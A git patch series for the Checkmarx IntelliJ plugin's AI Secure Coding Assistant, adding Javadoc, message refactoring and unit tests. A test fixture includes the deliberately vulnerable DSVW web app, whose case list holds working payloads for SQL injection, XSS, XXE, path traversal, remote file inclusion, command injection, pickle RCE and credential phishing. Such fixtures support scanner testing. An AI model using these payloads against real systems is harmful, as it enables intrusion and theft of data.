ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { if (!settings.isAsca()) { @@ -41,6 +52,16 @@ public class AscaInspection extends LocalInspectionTool { return createProblemDescriptors(file, manager, scanResult.getScanDetails(), document, isOnTheFly); } + /** + * Creates problem descriptors for the given scan details. + * + * @param file the file to check + * @param manager the inspection manager + * @param scanDetails the scan details + * @param document the document + * @param isOnTheFly whether the inspection is on-the-fly + * @return an array of problem descriptors + */ private ProblemDescriptor[] createProblemDescriptors(@NotNull PsiFile file, @NotNull InspectionManager manager, List scanDetails, Document document, boolean isOnTheFly) { List problems = new ArrayList<>(); @@ -60,6 +81,17 @@ private ProblemDescriptor[] createProblemDescriptors(@NotNull PsiFile file, @Not return problems.toArray(ProblemDescriptor[]::new); } + /** + * Creates a problem descriptor for a specific scan detail. + * + * @param file the file to check + * @param manager the inspection manager + * @param detail the scan detail + * @param document the document + * @param lineNumber the line number + * @param isOnTheFly whether the inspection is on-the-fly + * @return a problem descriptor + */ private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNull InspectionManager manager, ScanDetail detail, Document document, int lineNumber, boolean isOnTheFly) { TextRange problemRange = getTextRangeForLine(document, lineNumber); String description = Strings.join(detail.getRuleName(), " - ", detail.getRemediationAdvise()); @@ -69,24 +101,55 @@ private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNul file, problemRange, description, highlightType, isOnTheFly, new AscaQuickFix(detail)); } + /** + * Gets the text range for a specific line in the document. + * + * @param document the document + * @param lineNumber the line number + * @return the text range + */ private TextRange getTextRangeForLine(Document document, int lineNumber) { int startOffset = document.getLineStartOffset(lineNumber - 1); int endOffset = Math.min(document.getLineEndOffset(lineNumber - 1), document.getTextLength()); return new TextRange(startOffset, endOffset); } + /** + * Checks if the line number is out of range in the document. + * + * @param lineNumber the line number + * @param document the document + * @return true if the line number is out of range, false otherwise + */ private boolean isLineOutOfRange(int lineNumber, Document document) { return lineNumber <= 0 || lineNumber > document.getLineCount(); } + /** + * Checks if the scan result is invalid. + * + * @param scanResult the scan result + * @return true if the scan result is invalid, false otherwise + */ private boolean isInvalidScan(ScanResult scanResult) { return scanResult == null || scanResult.getScanDetails() == null; } + /** + * Determines the highlight type for a specific scan detail. + * + * @param detail the scan detail + * @return the problem highlight type + */ private ProblemHighlightType determineHighlightType(ScanDetail detail) { return getSeverityToHighlightMap().getOrDefault(detail.getSeverity(), ProblemHighlightType.WEAK_WARNING); } + /** + * Gets the map of severity to highlight type. + * + * @return the map of severity to highlight type + */ private Map getSeverityToHighlightMap() { if (severityToHighlightMap == null) { severityToHighlightMap = new HashMap<>(); @@ -98,7 +161,13 @@ private Map getSeverityToHighlightMap() { return severityToHighlightMap; } + /** + * Performs an ASCA scan on the given file. + * + * @param file the file to scan + * @return the scan result + */ private ScanResult performAscaScan(PsiFile file) { return new AscaService().runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); } -} +} \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index 1a41a730..629bf33a 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -14,19 +14,38 @@ import java.awt.*; import java.awt.datatransfer.StringSelection; +/** + * Quick fix implementation for ASCA issues. + */ public class AscaQuickFix implements LocalQuickFix { @SafeFieldForPreview private final ScanDetail detail; + /** + * Constructor for AscaQuickFix. + * + * @param detail the scan detail associated with the issue + */ public AscaQuickFix(ScanDetail detail) { this.detail = detail; } + /** + * Returns the family name of the quick fix. + * + * @return the family name + */ @Override public @IntentionFamilyName @NotNull String getFamilyName() { return "Copy fix prompt"; } + /** + * Applies the quick fix to the given problem descriptor. + * + * @param project the current project + * @param descriptor the problem descriptor + */ @Override public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { // Retrieve the problematic line and the description @@ -43,6 +62,13 @@ public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descri showNotification(project, "The fix prompt has been successfully copied to the clipboard.", NotificationType.INFORMATION); } + /** + * Shows a notification to the user. + * + * @param project the current project + * @param message the message to display + * @param type the type of notification + */ private void showNotification(Project project, String message, NotificationType type) { ApplicationManager.getApplication().invokeLater(() -> { Notification notification = NotificationGroupManager.getInstance() @@ -52,6 +78,13 @@ private void showNotification(Project project, String message, NotificationType }); } + /** + * Generates a fix prompt based on the problematic line and description. + * + * @param problematicLine the problematic line of code + * @param description the description of the issue + * @return the generated fix prompt + */ private String generateFixPrompt(String problematicLine, String description) { return String.format( "Please address the following issue:\n\n" + @@ -62,6 +95,11 @@ private String generateFixPrompt(String problematicLine, String description) { ); } + /** + * Copies the given prompt to the system clipboard. + * + * @param prompt the prompt to copy + */ private void copyToClipboard(String prompt) { StringSelection stringSelection = new StringSelection(prompt); try { @@ -71,4 +109,4 @@ private void copyToClipboard(String prompt) { showNotification(null, "Failed to copy the fix prompt to the clipboard.", NotificationType.ERROR); } } -} +} \ No newline at end of file From 7379dabe5865a20d8d6dcb3080196ed0011af62f Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Wed, 30 Oct 2024 16:47:50 +0200 Subject: [PATCH 28/38] change prompt copy message notification --- .../intellij/inspections/quickfixes/AscaQuickFix.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index 629bf33a..48f33fea 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -59,7 +59,8 @@ public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descri copyToClipboard(prompt); // Show a notification to the user indicating that the prompt was copied - showNotification(project, "The fix prompt has been successfully copied to the clipboard.", NotificationType.INFORMATION); + showNotification(project, "Fix prompt copied to clipboard\n" + + "Paste this prompt into GitHub Copilot to get a remediated code snippet.", NotificationType.INFORMATION); } /** From aff6ac9587d8a8dc7e55560abbac85013fcfc5aa Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 4 Nov 2024 13:30:25 +0200 Subject: [PATCH 29/38] added unitest --- .../checkmarx/intellij/ASCA/AscaService.java | 31 +++-- .../inspections/quickfixes/AscaQuickFix.java | 22 ++-- .../standard/commands/TestScanAsca.java | 84 ++++++++++++ .../intellij/standard/data/csharp-no-vul.cs | 44 +++++++ .../com/checkmarx/intellij/standard/data/file | 44 +++++++ .../intellij/standard/data/python-vul-file.py | 121 ++++++++++++++++++ 6 files changed, 325 insertions(+), 21 deletions(-) create mode 100644 src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java create mode 100644 src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs create mode 100644 src/test/java/com/checkmarx/intellij/standard/data/file create mode 100644 src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index 263505d5..2186487e 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -4,9 +4,11 @@ import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.commands.ASCA; +import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.editor.Document; import com.intellij.openapi.project.Project; +import com.intellij.openapi.util.Computable; import com.intellij.openapi.util.text.Strings; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiDocumentManager; @@ -26,6 +28,7 @@ public class AscaService { private static final String ASCA_DIR = "CxASCA"; + public static final String ASCA_STARTED_MSG = "AI Secure Coding Assistant started."; private static final Logger LOGGER = Logger.getInstance(AscaService.class); /** @@ -82,20 +85,26 @@ public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVe * @param project the current project * @return the file content as a string, or null if an error occurs */ - @Nullable private String getFileContent(PsiFile file, Project project) { - Document document = PsiDocumentManager.getInstance(project).getDocument(file); - - try { + return ApplicationManager.getApplication().runReadAction((Computable) () -> { + Document document = PsiDocumentManager.getInstance(project).getDocument(file); if (document != null) { return document.getText(); - } else { - return new String(file.getVirtualFile().contentsToByteArray()); } - } catch (IOException e) { - LOGGER.warn("Failed to retrieve file content:", e); - return null; - } + + VirtualFile virtualFile = file.getVirtualFile(); + if (virtualFile == null) { + LOGGER.warn("Virtual file is null for the given PsiFile."); + return null; + } + + try { + return new String(virtualFile.contentsToByteArray()); + } catch (IOException e) { + LOGGER.warn("Failed to retrieve file content from virtual file:", e); + return null; + } + }); } /** @@ -191,6 +200,6 @@ public String installAsca() throws CxException, CxConfig.InvalidCLIConfigExcepti LOGGER.warn(Strings.join("ASCA installation error: ", res.getError().getDescription())); return res.getError().getDescription(); } - return "AI Secure Coding Assistant started."; + return ASCA_STARTED_MSG; } } \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index 48f33fea..ad82c362 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -48,6 +48,8 @@ public AscaQuickFix(ScanDetail detail) { */ @Override public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { + final String FIX_PROMPT_COPY_SUCCESS_MSG = "Fix prompt copied to clipboard.\n" + + "Paste this prompt into GitHub Copilot to get a remediated code snippet."; // Retrieve the problematic line and the description String problematicLine = detail.getProblematicLine(); String description = descriptor.getDescriptionTemplate(); @@ -59,8 +61,7 @@ public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descri copyToClipboard(prompt); // Show a notification to the user indicating that the prompt was copied - showNotification(project, "Fix prompt copied to clipboard\n" + - "Paste this prompt into GitHub Copilot to get a remediated code snippet.", NotificationType.INFORMATION); + showNotification(project,FIX_PROMPT_COPY_SUCCESS_MSG , NotificationType.INFORMATION); } /** @@ -71,10 +72,11 @@ public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descri * @param type the type of notification */ private void showNotification(Project project, String message, NotificationType type) { + final String FIX_PROMPT_COPY_FAIL_MSG = "Fix prompt copied"; ApplicationManager.getApplication().invokeLater(() -> { Notification notification = NotificationGroupManager.getInstance() .getNotificationGroup("Checkmarx.Notifications") - .createNotification("Fix prompt copied", message, type); + .createNotification(FIX_PROMPT_COPY_FAIL_MSG, message, type); notification.notify(project); }); } @@ -87,12 +89,11 @@ private void showNotification(Project project, String message, NotificationType * @return the generated fix prompt */ private String generateFixPrompt(String problematicLine, String description) { - return String.format( - "Please address the following issue:\n\n" + - "Code snippet with potential issue:\n%s\n\n" + - "Issue description:\n%s\n\n" + - "Provide a fix to make this code safer and more secure.", - problematicLine.trim(), description.trim() + final String FIX_PROMPT = "Please address the following issue:\n\n" + + "Code snippet with potential issue:\n%s\n\n" + + "Issue description:\n%s\n\n" + + "Provide a fix to make this code safer and more secure."; + return String.format(FIX_PROMPT, problematicLine.trim(), description.trim() ); } @@ -107,7 +108,8 @@ private void copyToClipboard(String prompt) { Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); } catch (Exception e) { - showNotification(null, "Failed to copy the fix prompt to the clipboard.", NotificationType.ERROR); + String FAILED_COPY_FIX_PROMPT = "Failed to copy the fix prompt to the clipboard."; + showNotification(null, FAILED_COPY_FIX_PROMPT, NotificationType.ERROR); } } } \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java new file mode 100644 index 00000000..efc031f5 --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java @@ -0,0 +1,84 @@ +package com.checkmarx.intellij.standard.commands; + +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.ASCA.AscaService; +import com.checkmarx.intellij.standard.BaseTest; +import com.intellij.openapi.application.ApplicationManager; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.project.ProjectManager; +import com.intellij.openapi.util.Computable; +import com.intellij.openapi.vfs.LocalFileSystem; +import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiFile; +import com.intellij.psi.PsiManager; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Assertions; + +public class TestScanAsca extends BaseTest { + AscaService ascaService = new AscaService(); + + @Test + public void testInstallAsca() { + Assertions.assertDoesNotThrow(()-> + { + String ascaMsg = ascaService.installAsca(); + Assertions.assertEquals(AscaService.ASCA_STARTED_MSG, ascaMsg); + }); + } + + private PsiFile createPsiFileFromPath(String filePath) { + // Retrieve the VirtualFile in a read action + VirtualFile virtualFile = ApplicationManager.getApplication().runReadAction((Computable) () -> + LocalFileSystem.getInstance().findFileByPath(filePath) + ); + + Assertions.assertNotNull(virtualFile, "The virtual file should not be null."); + Project project = ProjectManager.getInstance().getDefaultProject(); + + // Retrieve the PsiFile in a read action + PsiFile psiFile = ApplicationManager.getApplication().runReadAction((Computable) () -> + PsiManager.getInstance(project).findFile(virtualFile) + ); + + Assertions.assertNotNull(psiFile, "The PsiFile should not be null."); + return psiFile; + } + + @Test + public void testRunAscaScan_FileWithVulnerabilities_Success() { + PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py"); + Project project = ProjectManager.getInstance().getDefaultProject(); + + Assertions.assertDoesNotThrow(() -> { + ScanResult ascaMsg = ascaService.runAscaScan(psiFile, project, true, "Jetbrains"); + assert ascaMsg != null; + Assertions.assertNotNull(ascaMsg.getScanDetails(), "The scan result should not be null."); + Assertions.assertFalse(ascaMsg.getScanDetails().isEmpty(), "The scan result should have at least one detail."); + }); + } + + @Test + public void testRunAscaScan_FileWithNoVulnerabilities_Success() { + PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs"); + Project project = ProjectManager.getInstance().getDefaultProject(); + + Assertions.assertDoesNotThrow(() -> { + ScanResult ascaMsg = ascaService.runAscaScan(psiFile, project, true, "Jetbrains"); + assert ascaMsg != null; + Assertions.assertNull(ascaMsg.getScanDetails(), "The scan result should be null."); + }); + } + + @Test + public void testRunAscaScan_FileWithoutExtension_Fail() { + PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/file"); + Project project = ProjectManager.getInstance().getDefaultProject(); + ScanResult ascaResult = ascaService.runAscaScan(psiFile, project, true, "Jetbrains"); + + assert ascaResult != null; + Assertions.assertNull(ascaResult.getScanDetails()); + Assertions.assertNotNull(ascaResult.getError()); + } + +} diff --git a/src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs b/src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs new file mode 100644 index 00000000..8b974d8d --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs @@ -0,0 +1,44 @@ +namespace EvidenceResolver.Tests.Contract +{ + public static class MockProviderServiceExtenstion + { + public static IMockProviderService WithRequest(this IMockProviderService mockProviderService, + HttpVerb method, object path, object body = null, Dictionary headers = null) + { + var providerServiceRequest = new ProviderServiceRequest + { + Method = method, + Path = path + }; + + providerServiceRequest.Headers = headers ?? new Dictionary + { + {"Content-Type", "application/json"} + }; + + if (body != null) { + providerServiceRequest.Body = PactNet.Matchers.Match.Type(body); + } + + return mockProviderService.With(providerServiceRequest); + } + + public static void WillRespondParameters(this IMockProviderService mockProviderService, + int status, dynamic body = null, Dictionary headers = null) + { + if (body == null) { + body = new { }; + } + + var expectedResponse = new ProviderServiceResponse + { + Status = status, + Headers = headers ?? new Dictionary + {{"Content-Type", "application/json; charset=utf-8"}}, + Body = PactNet.Matchers.Match.Type(body) + }; + + mockProviderService.WillRespondWith(expectedResponse); + } + } +} \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/standard/data/file b/src/test/java/com/checkmarx/intellij/standard/data/file new file mode 100644 index 00000000..8b974d8d --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/data/file @@ -0,0 +1,44 @@ +namespace EvidenceResolver.Tests.Contract +{ + public static class MockProviderServiceExtenstion + { + public static IMockProviderService WithRequest(this IMockProviderService mockProviderService, + HttpVerb method, object path, object body = null, Dictionary headers = null) + { + var providerServiceRequest = new ProviderServiceRequest + { + Method = method, + Path = path + }; + + providerServiceRequest.Headers = headers ?? new Dictionary + { + {"Content-Type", "application/json"} + }; + + if (body != null) { + providerServiceRequest.Body = PactNet.Matchers.Match.Type(body); + } + + return mockProviderService.With(providerServiceRequest); + } + + public static void WillRespondParameters(this IMockProviderService mockProviderService, + int status, dynamic body = null, Dictionary headers = null) + { + if (body == null) { + body = new { }; + } + + var expectedResponse = new ProviderServiceResponse + { + Status = status, + Headers = headers ?? new Dictionary + {{"Content-Type", "application/json; charset=utf-8"}}, + Body = PactNet.Matchers.Match.Type(body) + }; + + mockProviderService.WillRespondWith(expectedResponse); + } + } +} \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py b/src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py new file mode 100644 index 00000000..647f34d3 --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python +import html, http.client, http.server, io, json, os, pickle, random, re, socket, socketserver, sqlite3, string, sys, subprocess, time, traceback, urllib.parse, urllib.request, xml.etree.ElementTree # Python 3 required +try: + import lxml.etree +except ImportError: + print("[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if os.name != "nt" else "https://pypi.python.org/pypi/lxml")) + +NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.2b", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Unlicense (public domain)" +LISTEN_ADDRESS, LISTEN_PORT = "127.0.0.1", 65412 +HTML_PREFIX, HTML_POSTFIX = "\n\n\n\n%s\n\n\n\n" % html.escape(NAME), "
Powered by %s (v%s)
\n\n" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION) +USERS_XML = """adminadminadmin7en8aiDoh!driccidianricci12345amasonanthonymasongandalfsvargassandravargasphest1945""" +CASES = (("Blind SQL Injection (boolean)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#boolean-exploitation-technique"), ("Blind SQL Injection (time)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#time-delay-exploitation-technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#union-exploitation-technique"), ("Login Bypass", "/login?username=&password=", "/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#classic-sql-injection"), ("HTTP Parameter Pollution", "/login?username=&password=", "/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution"), ("Cross Site Scripting (reflected)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting"), ("Cross Site Scripting (stored)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting"), ("Cross Site Scripting (DOM)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting"), ("Cross Site Scripting (JSONP)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (local)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if os.name != "nt" else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("XML External Entity (remote)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if os.name != "nt" else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (boolean)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://owasp.org/www-community/attacks/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery"), ("Frame Injection (phishing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (content spoofing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fdsvw.c1.biz", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if os.name != "nt" else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://owasp.org/www-community/attacks/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if os.name != "nt" else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (remote)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3D6VyyNNhc&cmd=%s" % ("ifconfig" if os.name != "nt" else "ipconfig"), "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (phishing)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (pickle)", "/?object=%s" % urllib.parse.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), "/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.parse.quote("ping -c 5 127.0.0.1" if os.name != "nt" else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html"), ("Denial of Service (memory)", "/?size=32", "/?size=9999999", "https://owasp.org/www-community/attacks/Denial_of_Service")) +def init(): + global connection + http.server.HTTPServer.allow_reuse_address = True + connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + cursor = connection.cursor() + cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)") + cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in 